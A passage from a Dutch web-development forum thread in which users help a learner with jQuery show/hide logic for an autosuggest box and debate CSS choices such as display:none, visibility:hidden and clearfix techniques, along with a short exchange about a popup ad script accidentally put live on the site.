[ Bericht 4% gewijzigd door pascal08 op 18-11-2012 18:36:37 ]
  zondag 18 november 2012 @ 18:44:55 #81
123869 Merkie
Surprisingly contagious
pi_119351315
quote:
0s.gif Op zondag 18 november 2012 18:28 schreef pascal08 het volgende:

[..]

Ik heb de oplossing die Merkie heeft gevonden gebruikt. Bedankt voor het meedenken!

[..]

Dit is dus wat ik zocht. :) Ik heb er dit van gemaakt:
[ code verwijderd ]

Zo zou ik dat niet doen. Verdiep je een klein beetje in hoe jQuery werkt ;).Als je toch al jQuery gebruikt kan je beter $('#autosuggestcontainer').hide(); doen.
1
2
3
4
5
6
7
$(document).ready(function() {
    $("body").click(function(e) {
        if (e.target.id != 'autosuggestcontainer' || $(e.target).parents('#autosuggestcontainer').size()) { 
            $('#autosuggestcontainer').hide();
        }
    });
});
Dit lijkt me beter. Als je toch bezig bent om javascript / jQuery te leren, doe het dan in 1x goed :P.
2000 light years from home
pi_119351880
quote:
0s.gif Op zondag 18 november 2012 18:44 schreef Merkie het volgende:

[..]

Zo zou ik dat niet doen. Verdiep je een klein beetje in hoe jQuery werkt ;).Als je toch al jQuery gebruikt kan je beter $('#autosuggestcontainer').hide(); doen.
[ code verwijderd ]

Dit lijkt me beter. Als je toch bezig bent om javascript / jQuery te leren, doe het dan in 1x goed :P.
Wat is precies het verschil? :P

Deze werkt niet, trouwens. "e.target.id" is op sommige plekken buiten #container ook ongelijk aan 'autosuggestcontainer', dus hij doet ook .hide() wanneer het niet moet.

Zo doet 'ie het wel weer. Wat vind je hiervan? O-)

1
2
3
4
5
6
7
$(document).ready(function() {
    $("body").click(function(e) {
        if (e.target.id != 'autosuggestcontainer' && $(e.target).parents("#autosuggestcontainer").size() !== 1) { 
            document.getElementById('autosuggestcontainer').style.visibility = 'hidden';
        }
    });
});


[ Bericht 7% gewijzigd door pascal08 op 18-11-2012 19:12:14 ]
  zondag 18 november 2012 @ 19:22:27 #83
123869 Merkie
Surprisingly contagious
pi_119353179
document.getElementById('autosuggestcontainer').style.visibility = 'hidden';

Doe gewoon "$('#autosuggestcontainer').hide();", veel sneller :P.
2000 light years from home
  zondag 18 november 2012 @ 19:29:54 #84
12221 Tijn
Powered by MS Paint
pi_119353484
quote:
0s.gif Op zondag 18 november 2012 18:56 schreef pascal08 het volgende:

[..]

Wat is precies het verschil? :P

Deze werkt niet, trouwens. "e.target.id" is op sommige plekken buiten #container ook ongelijk aan 'autosuggestcontainer', dus hij doet ook .hide() wanneer het niet moet.

Zo doet 'ie het wel weer. Wat vind je hiervan? O-)
[ code verwijderd ]

Waarom zou je native DOM-functies gebruiken als je toch jQuery al include?
pi_119353668
quote:
0s.gif Op zondag 18 november 2012 19:22 schreef Merkie het volgende:
document.getElementById('autosuggestcontainer').style.visibility = 'hidden';

Doe gewoon "$('#autosuggestcontainer').hide();", veel sneller :P.
Dat kan wel, maar dan moet ik denk ik ook ergens in m'n code iets van "$('#autosuggestcontainer').show();" hebben, anders blijft 'ie in hide-toestand bij de eerste klik buiten de div.

[ Bericht 0% gewijzigd door pascal08 op 18-11-2012 19:39:20 ]
pi_119353735
quote:
5s.gif Op zondag 18 november 2012 19:29 schreef Tijn het volgende:

[..]

Waarom zou je native DOM-functies gebruiken als je toch jQuery al include?
Ik heb me nog helemaal niet verdiept in javascript en jQuery. :P Ik zou het eigenlijk wel moeten doen, maar het leren van PHP heeft me ook enkele dagen gekost en ik wil nu zo langzamerhand beginnen met iets op te zetten. :)
  zondag 18 november 2012 @ 19:41:38 #87
12221 Tijn
Powered by MS Paint
pi_119354001
Er zijn teveel mensen die maar wat aanklooien met Javascript. Als je echt wilt weten hoe het zit, zou ik als ik jou was beginnen met de videolessen van Douglas Crockford: http://yuiblog.com/crockford/
  zondag 18 november 2012 @ 19:54:17 #88
123869 Merkie
Surprisingly contagious
pi_119354640
quote:
0s.gif Op zondag 18 november 2012 19:34 schreef pascal08 het volgende:

[..]

Dat kan wel, maar dan moet ik denk ik ook ergens in m'n code iets van "$('#autosuggestcontainer').show();" hebben, anders blijft 'ie in hide-toestand bij de eerste klik buiten de div.
Hoe maak je nu "visibility:hidden" ongedaan dan?

Anders kan je altijd nog $('#element').css('visibility','hidden'); doen.
2000 light years from home
pi_119356429
quote:
14s.gif Op zondag 18 november 2012 19:41 schreef Tijn het volgende:
Er zijn teveel mensen die maar wat aanklooien met Javascript. Als je echt wilt weten hoe het zit, zou ik als ik jou was beginnen met de videolessen van Douglas Crockford: http://yuiblog.com/crockford/
Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt. _O_
pi_119356550
quote:
0s.gif Op zondag 18 november 2012 19:54 schreef Merkie het volgende:

[..]

Hoe maak je nu "visibility:hidden" ongedaan dan?

Anders kan je altijd nog $('#element').css('visibility','hidden'); doen.
"visibility:hidden" is standaard bij het laden van de pagina. Als ik iets typ in het zoekveld, dan zorgt deze regel in m'n code ervoor dat er een lijst te voorschijn komt met resultaten:

1document.getElementById("autosuggestcontainer").style.visibility="visible";

Het zal inderdaad verre van optimaal zijn, maar het werkt. :)
  zondag 18 november 2012 @ 20:31:11 #91
84244 Scorpie
Abject en infaam!
pi_119356650
quote:
0s.gif Op zondag 18 november 2012 20:27 schreef pascal08 het volgende:

[..]

Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt. _O_
Stap 1 is iig, stop met klooien, breng structuur aan.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  zondag 18 november 2012 @ 20:44:58 #92
123869 Merkie
Surprisingly contagious
pi_119357575
quote:
0s.gif Op zondag 18 november 2012 20:29 schreef pascal08 het volgende:

[..]

"visibility:hidden" is standaard bij het laden van de pagina. Als ik iets typ in het zoekveld, dan zorgt deze regel in m'n code ervoor dat er een lijst te voorschijn komt met resultaten:
[ code verwijderd ]

Het zal inderdaad verre van optimaal zijn, maar het werkt. :)
Dan veranderd je die regel toch in $('#element').show();?
2000 light years from home
pi_119410565
quote:
0s.gif Op zondag 18 november 2012 20:44 schreef Merkie het volgende:

[..]

Dan veranderd je die regel toch in $('#element').show();?
Ahh, gelukt! :D

1
2
3
4
5
6
7
8
9
10
11
12
13
$(document).ready(function() {
    $('.search-query').keyup(function() {
        var search_term = $(this).attr('value');
        if(!search_term) {
            $('.autosuggestlist').hide();
        } else {
            $('.autosuggestlist').show();
            $.post('/web_template/main/search_navbar', {search_term:search_term}, function(data) {
                $('.result-navbar').html(data);
            });
        }
    });
});

En:

1
2
3
4
5
6
7
$(document).ready(function() {
    $("body").click(function(e) {
        if (e.target.id !== 'autosuggestcontainer' && $(e.target).parents("#autosuggestcontainer").size() !== 1) { 
            $('.autosuggestlist').hide();
        }
    });
});

Nu beter?
  maandag 19 november 2012 @ 23:46:24 #94
123869 Merkie
Surprisingly contagious
pi_119411970
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd.
2000 light years from home
pi_119413486
quote:
1s.gif Op maandag 19 november 2012 23:46 schreef Merkie het volgende:
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd.
Dat zag ik ook met Chrome: element inspecteren. Bedankt voor jullie tip. ^O^
  dinsdag 20 november 2012 @ 01:30:01 #96
230788 n8n
Pragmatisch
pi_119414564
quote:
0s.gif Op zondag 18 november 2012 20:27 schreef pascal08 het volgende:

[..]

Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt. _O_
en waar stonden die video's dan?
Specialization is for insects”.—Robert Heinlein
pi_119414888
quote:
7s.gif Op dinsdag 20 november 2012 01:30 schreef n8n het volgende:

[..]

en waar stonden die video's dan?
http://yuiblog.com/crockford/
pi_119414917
quote:
7s.gif Op dinsdag 20 november 2012 01:30 schreef n8n het volgende:

[..]

en waar stonden die video's dan?
Youtube, phpacademy. :)
  dinsdag 20 november 2012 @ 02:07:24 #99
230788 n8n
Pragmatisch
pi_119414943
quote:
dank maar ik doelde op die over php, had deze al gebookmarked

quote:
0s.gif Op dinsdag 20 november 2012 02:04 schreef pascal08 het volgende:

[..]

Youtube, phpacademy. :)
specifiek kanaal in YouTube? kom er vaak toch zut tegen wat tijdverspilling bleek
Specialization is for insects”.—Robert Heinlein
pi_119414953
Oh okee, dan was ik te snel. Ik weet zo ook geen vids, ik vind het prettiger om info uit boeken/van websites te halen.
  dinsdag 20 november 2012 @ 02:12:56 #101
230788 n8n
Pragmatisch
pi_119414969
quote:
2s.gif Op dinsdag 20 november 2012 02:09 schreef Nemephis het volgende:
Oh okee, dan was ik te snel. Ik weet zo ook geen vids, ik vind het prettiger om info uit boeken/van websites te halen.
Ja ik op zich ook wel maar ik weet nooit wat 'best practice' boeken/bronnen zijn. Als ik terugdenk met welke bronnen ik html en css heb geleerd: :') :'( . Wil nu liever voorkomen dat ik het eerst vernaggeld leer waarna ik het mezelf opnieuw aan moet leren om geen bagger te produceren.

anyway, eerst slapen anders komt er helemaal niks van
Specialization is for insects”.—Robert Heinlein
pi_119414985
Qua PHP haal ik hier ontzettend veel vandaan: good old PHP.net

welterusten
  dinsdag 20 november 2012 @ 02:24:17 #103
284294 BBQSausage
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
pi_119415040
quote:
2s.gif Op dinsdag 20 november 2012 02:14 schreef Nemephis het volgende:
Qua PHP haal ik hier ontzettend veel vandaan: good old PHP.net

welterusten
Daar bestaat dit topic ook voor;
DIG / [PHP/(My)SQL] voor dummies #105 Waar veiligheid > alles
  dinsdag 20 november 2012 @ 09:28:14 #104
56176 Catch22-
Ben je Blind?!
pi_119416928
quote:
1s.gif Op maandag 19 november 2012 23:46 schreef Merkie het volgende:
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd.
meer genegeerd? :P

Het zijn verschillende properties met aparte functies.
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  dinsdag 20 november 2012 @ 11:54:00 #105
12221 Tijn
Powered by MS Paint
pi_119420368
quote:
1s.gif Op maandag 19 november 2012 23:46 schreef Merkie het volgende:

Display:none is imho beter dan visibility:hidden
Het is geen kwestie van beter of slechter, ze zijn gewoon voor verschillende dingen bedoeld. Soms is het juist wenselijk dat een element wel in de flow opgenomen blijft, maar toch niet zichtbaar is. Dan is de visibility-property precies wat je moet hebben.
  dinsdag 20 november 2012 @ 13:33:25 #106
84244 Scorpie
Abject en infaam!
pi_119423592
Nog een leuke voor iedereen hier:

Ze hebben op de FP dit neergezet vandaag:

1
2
3
4
5
6
$(document).ready(function(){
 $('body').click(function (event){
 window.open('http://ib.adnxs.com/clktrb?id=12742', 'hi', 'width=1000,height=800,scrollbars=yes');
 event.preventDefault();
});
});

En toen brak de pleuris uit.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
pi_119423662
Verrassend.
  dinsdag 20 november 2012 @ 13:39:17 #108
84244 Scorpie
Abject en infaam!
pi_119423849
quote:
10s.gif Op dinsdag 20 november 2012 13:35 schreef KomtTijd... het volgende:
Verrassend.
Heb nog geen reden gehoord waarom dit op Productie zo terecht is gekomen :D Denk ook niet dat ik dat te horen krijg.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
pi_119423976
Het 'ongelukje' zal ongetwijfeld een hoop geld opgeleverd hebben
  dinsdag 20 november 2012 @ 13:43:00 #110
84244 Scorpie
Abject en infaam!
pi_119424039
quote:
14s.gif Op dinsdag 20 november 2012 13:41 schreef KomtTijd... het volgende:
Het 'ongelukje' zal ongetwijfeld een hoop geld opgeleverd hebben
Danny kan weer op vakantie.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  dinsdag 20 november 2012 @ 13:51:05 #111
84244 Scorpie
Abject en infaam!
pi_119424375
Ah, ja, dat verklaart alles. Ze laten derde partijen script code aanleveren die ze niet checken voordat ze het live zetten.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  dinsdag 20 november 2012 @ 13:52:06 #112
56176 Catch22-
Ben je Blind?!
pi_119424410
ze checken niets voor ze het live zetten geloof.
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
pi_119425227
Nou zie ik ook weleens iets over het hoofd bij het testen in een dev-omgeving. Maar dit? :')_ dat is gewoon nevernooit getest geweest inderdaad.
  dinsdag 20 november 2012 @ 14:16:32 #114
84244 Scorpie
Abject en infaam!
pi_119425440
quote:
10s.gif Op dinsdag 20 november 2012 14:11 schreef KomtTijd... het volgende:
Nou zie ik ook weleens iets over het hoofd bij het testen in een dev-omgeving. Maar dit? :')_ dat is gewoon nevernooit getest geweest inderdaad.
Mooiste is nog dat ze dus proberen te verbloemen dat het proces eromheen gewoonweg niet bestaand is. Of heel erg kut. Nee, 'we kunnen niet meekijken achter de schermen dus je weet niet hoe het is gegaan'.

Ze vergeten dat we ook wel door naar de code te kijken kunnen zien dat het ronduit kut is gesteld met het proces.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  Admin dinsdag 20 november 2012 @ 14:17:35 #115
1 crew  Danny
Ik mis m'n grote vriend..
pi_119425484
quote:
9s.gif Op dinsdag 20 november 2012 13:51 schreef Scorpie het volgende:
Ah, ja, dat verklaart alles. Ze laten derde partijen script code aanleveren die ze niet checken voordat ze het live zetten.
kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
- Oh hi Mark!
- Cool... Cool, cool, cool.
Jayden, Ik mis mijn grote vriend...
Zie wat ik kijk: trakt.tv
  dinsdag 20 november 2012 @ 14:18:54 #116
84244 Scorpie
Abject en infaam!
pi_119425534
quote:
0s.gif Op dinsdag 20 november 2012 14:17 schreef Danny het volgende:

[..]

kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
Kijk, dit vind ik dan alweer twintig keer betere uitleg dan in het FB topic. Dank je wel voor je antwoord, en ik snap dat het onder hoge druk gegaan is.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
pi_119429424
Klopt het dat webkit een element 0px breed maakt als je de overflow aanpast?

-edit- er zitten alleen maar floated elementen in, normaal zou je overflow gebruiken om het element zijn zichtbare hoogte te geven. Dat lukt, alleen ten koste van de zichtbare breedte...

[ Bericht 56% gewijzigd door KomtTijd... op 20-11-2012 16:19:11 ]
  Admin dinsdag 20 november 2012 @ 17:22:34 #118
1 crew  Danny
Ik mis m'n grote vriend..
pi_119432315
quote:
5s.gif Op dinsdag 20 november 2012 16:13 schreef KomtTijd... het volgende:
Klopt het dat webkit een element 0px breed maakt als je de overflow aanpast?

-edit- er zitten alleen maar floated elementen in, normaal zou je overflow gebruiken om het element zijn zichtbare hoogte te geven. Dat lukt, alleen ten koste van de zichtbare breedte...
als je de overflow waarin aanpast?
als je floated elementen in een element hebt heeft het parent element alleen zijn native hoogte (hoogte + padding + border) tenzij je box-sizing: border-box gebruikt in plaats van het default content-box.
Je kunt dmv een clear:both onder de gefloate elementen (<div style="clear:both"></div>) het parent element meetrekken in de hoogte.
- Oh hi Mark!
- Cool... Cool, cool, cool.
Jayden, Ik mis mijn grote vriend...
Zie wat ik kijk: trakt.tv
pi_119432427
Of gewoon een img met een afbeelding van chuck norris

pi_119432475
quote:
0s.gif Op dinsdag 20 november 2012 17:22 schreef Danny het volgende:

[..]

als je de overflow waarin aanpast?

Anything, behalve visible (default).
Overflow specificeren op iets non-default heeft ook als resultaat dat het element weer om gefloate children heen wrapt, maar bij Webkit werkt dat nogal apart blijkbaar. Het element waar ik het over had verdween ineens rechts uit beeld omdat het vrolijk naast een eerder element was gaan staan, terwijl daar helemaal geen ruimte voor was. (conclusie: breedte = 0)
pi_119432513
quote:
14s.gif Op dinsdag 20 november 2012 17:24 schreef TwyLight het volgende:
Of gewoon een img met een afbeelding van chuck norris

[ afbeelding ]
Divjes met clear:both toevoegen is wel de meest ultiem lelijke oplossing ja :')

-edit-
overigens ging het daar nieteens om bij mij, maar een collega wou overflow:auto gebruiken en dat verneukte het eea in chrome en safari.
  Admin dinsdag 20 november 2012 @ 17:27:52 #122
1 crew  Danny
Ik mis m'n grote vriend..
pi_119432565
quote:
14s.gif Op dinsdag 20 november 2012 17:26 schreef KomtTijd... het volgende:

[..]

Divjes met clear:both toevoegen is wel de meest ultiem lelijke oplossing ja :')
Je kunt ook met een .clear class werken op je floating elements:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.clear{
    zoom:1;
}
.clear:before{
    display:table;
    content:"";
}
.clear:after{
    clear:both;
    content:".";
    display:block;
    font-size:0;
    height:0;
    visibility:hidden;
}
- Oh hi Mark!
- Cool... Cool, cool, cool.
Jayden, Ik mis mijn grote vriend...
Zie wat ik kijk: trakt.tv
pi_119432653
quote:
0s.gif Op dinsdag 20 november 2012 17:27 schreef Danny het volgende:

[..]

Je kunt ook met een .clear class werken op je floating elements:
[ code verwijderd ]

...nog steeds way lelijker dan gewoon overflow:hidden gebruiken als het een klassiek "mijn wrapper schaalt niet mee"-probleem betref.t
  Admin dinsdag 20 november 2012 @ 17:30:18 #124
1 crew  Danny
Ik mis m'n grote vriend..
pi_119432658
quote:
14s.gif Op dinsdag 20 november 2012 17:26 schreef KomtTijd... het volgende:

-edit-
overigens ging het daar nieteens om bij mij, maar een collega wou overflow:auto gebruiken en dat verneukte het eea in chrome en safari.
ah ok. zonder een voorbeeldje kan ik er niet zoveel mee :)
- Oh hi Mark!
- Cool... Cool, cool, cool.
Jayden, Ik mis mijn grote vriend...
Zie wat ik kijk: trakt.tv
pi_119432703
het probleem is wel opgelost, ik vroeg me alleen af of mensen hier vaker last van hebben. Het lijkt me haast een bug in Webkit, dus vandaar.
  dinsdag 20 november 2012 @ 19:40:30 #126
123869 Merkie
Surprisingly contagious
pi_119438283
quote:
2s.gif Op dinsdag 20 november 2012 11:54 schreef Tijn het volgende:

[..]

Het is geen kwestie van beter of slechter, ze zijn gewoon voor verschillende dingen bedoeld. Soms is het juist wenselijk dat een element wel in de flow opgenomen blijft, maar toch niet zichtbaar is. Dan is de visibility-property precies wat je moet hebben.
Dat snap ik, maar in dit geval lijkt het me niet belangrijk dat hij in de flow wordt opgenomen. Een ieder is voor zich in staat om te beoordelen wat beter of slechter is, maar "display: none" is wel wat meer "best practice" dan "visibility: hidden".
quote:
7s.gif Op dinsdag 20 november 2012 13:33 schreef Scorpie het volgende:
Nog een leuke voor iedereen hier:

Ze hebben op de FP dit neergezet vandaag:
[ code verwijderd ]

En toen brak de pleuris uit.
Lol.
quote:
0s.gif Op dinsdag 20 november 2012 14:17 schreef Danny het volgende:

[..]

kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
Blijkt meer weer dat zelfs onder de allerhoogste druk je maar beter wel kunt testen :).
2000 light years from home
  Admin dinsdag 20 november 2012 @ 20:21:53 #127
1 crew  Danny
Ik mis m'n grote vriend..
pi_119440478
quote:
0s.gif Op dinsdag 20 november 2012 19:40 schreef Merkie het volgende:

Blijkt meer weer dat zelfs onder de allerhoogste druk je maar beter wel kunt testen :).
Niemand ontkent dat je beter kunt testen. In dit geval was dat niet mogelijk.
- Oh hi Mark!
- Cool... Cool, cool, cool.
Jayden, Ik mis mijn grote vriend...
Zie wat ik kijk: trakt.tv
  Admin dinsdag 20 november 2012 @ 20:22:56 #128
1 crew  Danny
Ik mis m'n grote vriend..
pi_119440527
quote:
0s.gif Op dinsdag 20 november 2012 19:40 schreef Merkie het volgende:

Dat snap ik, maar in dit geval lijkt het me niet belangrijk dat hij in de flow wordt opgenomen. Een ieder is voor zich in staat om te beoordelen wat beter of slechter is, maar "display: none" is wel wat meer "best practice" dan "visibility: hidden".
Maar lang niet altijd wenselijk:
http://css-tricks.com/pla(...)splay-none-but-dont/
- Oh hi Mark!
- Cool... Cool, cool, cool.
Jayden, Ik mis mijn grote vriend...
Zie wat ik kijk: trakt.tv
pi_119441413
"Display:none;" best practice :D :D :D :D
Bleuh.
  Admin dinsdag 20 november 2012 @ 20:53:14 #130
1 crew  Danny
Ik mis m'n grote vriend..
pi_119442014
quote:
0s.gif Op dinsdag 20 november 2012 20:41 schreef PimD het volgende:
"Display:none;" best practice :D :D :D :D
toch kan het handig zijn. in de nieuwe fp heb ik geëxperimenteerd met weergavesnelheid. Hierbij bleek een winst van 40% mogelijk door een display:none op de body te doen en deze pas na opbouw van de DOM op te heffen. Laadtijd van de index ging van 920ms naar ongeveer 500ms. Dat is op onze beta-server die een tcp response van ruim 400ms heeft tov ~100ms voor de live-server. De index zou dus uiteindelijk in ongeveer 0.2s opgebouwd en weergegeven kunnen worden tov 0,6 a 0,7 sec als het opbouwen van de weergave gebeurt terwijl de body wordt weergegeven.
- Oh hi Mark!
- Cool... Cool, cool, cool.
Jayden, Ik mis mijn grote vriend...
Zie wat ik kijk: trakt.tv
pi_119442190
quote:
0s.gif Op dinsdag 20 november 2012 20:53 schreef Danny het volgende:

[..]

toch kan het handig zijn. in de nieuwe fp heb ik geëxperimenteerd met weergavesnelheid. Hierbij bleek een winst van 40% mogelijk door een display:none op de body te doen en deze pas na opbouw van de DOM op te heffen. Laadtijd van de index ging van 920ms naar ongeveer 500ms. Dat is op onze beta-server die een tcp response van ruim 400ms heeft tov ~100ms voor de live-server. De index zou dus uiteindelijk in ongeveer 0.2s opgebouwd en weergegeven kunnen worden tov 0,6 a 0,7 sec als het opbouwen van de weergave gebeurt terwijl de body wordt weergegeven.
Dan kijk je dus alleen naar de eindtijd, en verneuk je de progressive rendering van de browser waardoor de user-experience uiteindelijk alleen maar trager is.
  Admin dinsdag 20 november 2012 @ 21:01:18 #132
1 crew  Danny
Ik mis m'n grote vriend..
pi_119442488
quote:
14s.gif Op dinsdag 20 november 2012 20:56 schreef KomtTijd... het volgende:

Dan kijk je dus alleen naar de eindtijd, en verneuk je de progressive rendering van de browser waardoor de user-experience uiteindelijk alleen maar trager is.
de rendering begint met weergave aan ook pas na ongeveer 0.5sec. Verschil is dat nu meteen de hele site voor je neus staat. Het valt dus met de user-experience wel mee. Ik maak het optioneel trouwens, dus als je liever de site progressief weergegeven wilt hebben dan kan dat. Standaard zal de fp waarschijnlijk in de header een document.write of geïnjecteerde style krijgen a la body{display:none;} of body{visibility:hidden;}, welke bij document.ready() weer uit de dom wordt verwijderd.
Overigens worden veel dingen in de nieuwe fp asynchroon geladen, dus ook als de pagina wordt weergegeven is deze nog niet klaar met weergave (wel voor zaken als scrolling e.d.). Er blijft dus wel een gevoel van progressief laden.
Ik steek erg veel tijd in optimalisatie voor de nieuwe fp om de boel zo snel mogelijk te maken. Zowel in benchmarks als qua user-experience.
- Oh hi Mark!
- Cool... Cool, cool, cool.
Jayden, Ik mis mijn grote vriend...
Zie wat ik kijk: trakt.tv
pi_119442561
Ik zou het iig goed testen, ook op tragere systemen en vooral op tragere internetverbindingen.
pi_119447485
quote:
7s.gif Op dinsdag 20 november 2012 02:07 schreef n8n het volgende:

[..]

dank maar ik doelde op die over php, had deze al gebookmarked

[..]

specifiek kanaal in YouTube? kom er vaak toch zut tegen wat tijdverspilling bleek
Ja, is een kanaal op Youtube van een groepje mensen die zeer goed kunnen uitleggen naar mijn mening. Ze komen in ieder geval vrij deskundig over en leggen dingen op eenvoudige wijze uit met veel tussenstappen.

Hier is de link: http://www.youtube.com/user/phpacademy
  woensdag 21 november 2012 @ 10:43:49 #135
56176 Catch22-
Ben je Blind?!
pi_119457126
quote:
0s.gif Op dinsdag 20 november 2012 17:30 schreef Danny het volgende:

[..]

ah ok. zonder een voorbeeldje kan ik er niet zoveel mee :)
voorbeelden zijn in dit topic nogal lastig volgens mij :P
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
pi_119457719
quote:
11s.gif Op woensdag 21 november 2012 10:43 schreef Catch22- het volgende:

[..]

voorbeelden zijn in dit topic nogal lastig volgens mij :P
:')_ 't is goed met je, als ik de was en de strijk gedaan heb en geen zin heb om ook nog te stofzuigen, zal ik kijken of ik zin heb om misschien een proof-of-concept te schrijven. Tot die tijd kan er wat mij betreft gewoon normaal gereageerd worden op een vraag naar ervaringen.
  woensdag 21 november 2012 @ 11:18:32 #137
56176 Catch22-
Ben je Blind?!
pi_119457969
quote:
14s.gif Op woensdag 21 november 2012 11:08 schreef KomtTijd... het volgende:

[..]

:')_ 't is goed met je, als ik de was en de strijk gedaan heb en geen zin heb om ook nog te stofzuigen, zal ik kijken of ik zin heb om misschien een proof-of-concept te schrijven. Tot die tijd kan er wat mij betreft gewoon normaal gereageerd worden op een vraag naar ervaringen.
Oke.

ik wil iets verbergen maar er staat iets omheen hoe kan ik dat fiksen? ik heb al positionabsolute geprobeerd ?
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  Admin woensdag 21 november 2012 @ 11:30:16 #138
1 crew  Danny
Ik mis m'n grote vriend..
pi_119458293
quote:
11s.gif Op woensdag 21 november 2012 11:18 schreef Catch22- het volgende:

[..]

Oke.

ik wil iets verbergen maar er staat iets omheen hoe kan ik dat fiksen? ik heb al positionabsolute geprobeerd ?
visibility:hidden;
- Oh hi Mark!
- Cool... Cool, cool, cool.
Jayden, Ik mis mijn grote vriend...
Zie wat ik kijk: trakt.tv
  woensdag 21 november 2012 @ 11:36:39 #139
56176 Catch22-
Ben je Blind?!
pi_119458500
dan neemt hij nog de ruimte in

het is een tr
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  woensdag 21 november 2012 @ 12:01:43 #140
123869 Merkie
Surprisingly contagious
pi_119459330
Display: none?
2000 light years from home
  woensdag 21 november 2012 @ 16:58:19 #141
230788 n8n
Pragmatisch
pi_119469781
quote:
0s.gif Op dinsdag 20 november 2012 22:32 schreef pascal08 het volgende:

[..]

Ja, is een kanaal op Youtube van een groepje mensen die zeer goed kunnen uitleggen naar mijn mening. Ze komen in ieder geval vrij deskundig over en leggen dingen op eenvoudige wijze uit met veel tussenstappen.

Hier is de link: http://www.youtube.com/user/phpacademy
bedankt
Specialization is for insects”.—Robert Heinlein
pi_119517144
http://jsfiddle.net/F7qjS/

Hoe krijg ik een alert bij het klikken op de slider? Nu krijg ik alleen een alert als ik erboven klik. Het is de bedoeling dat er een variabelen wordt doorgegeven bij het klikken (manipuleren) van de slider.

Laat maar, ik heb weer niet verder gekeken dan m'n neus lang is. :X
pi_119543332
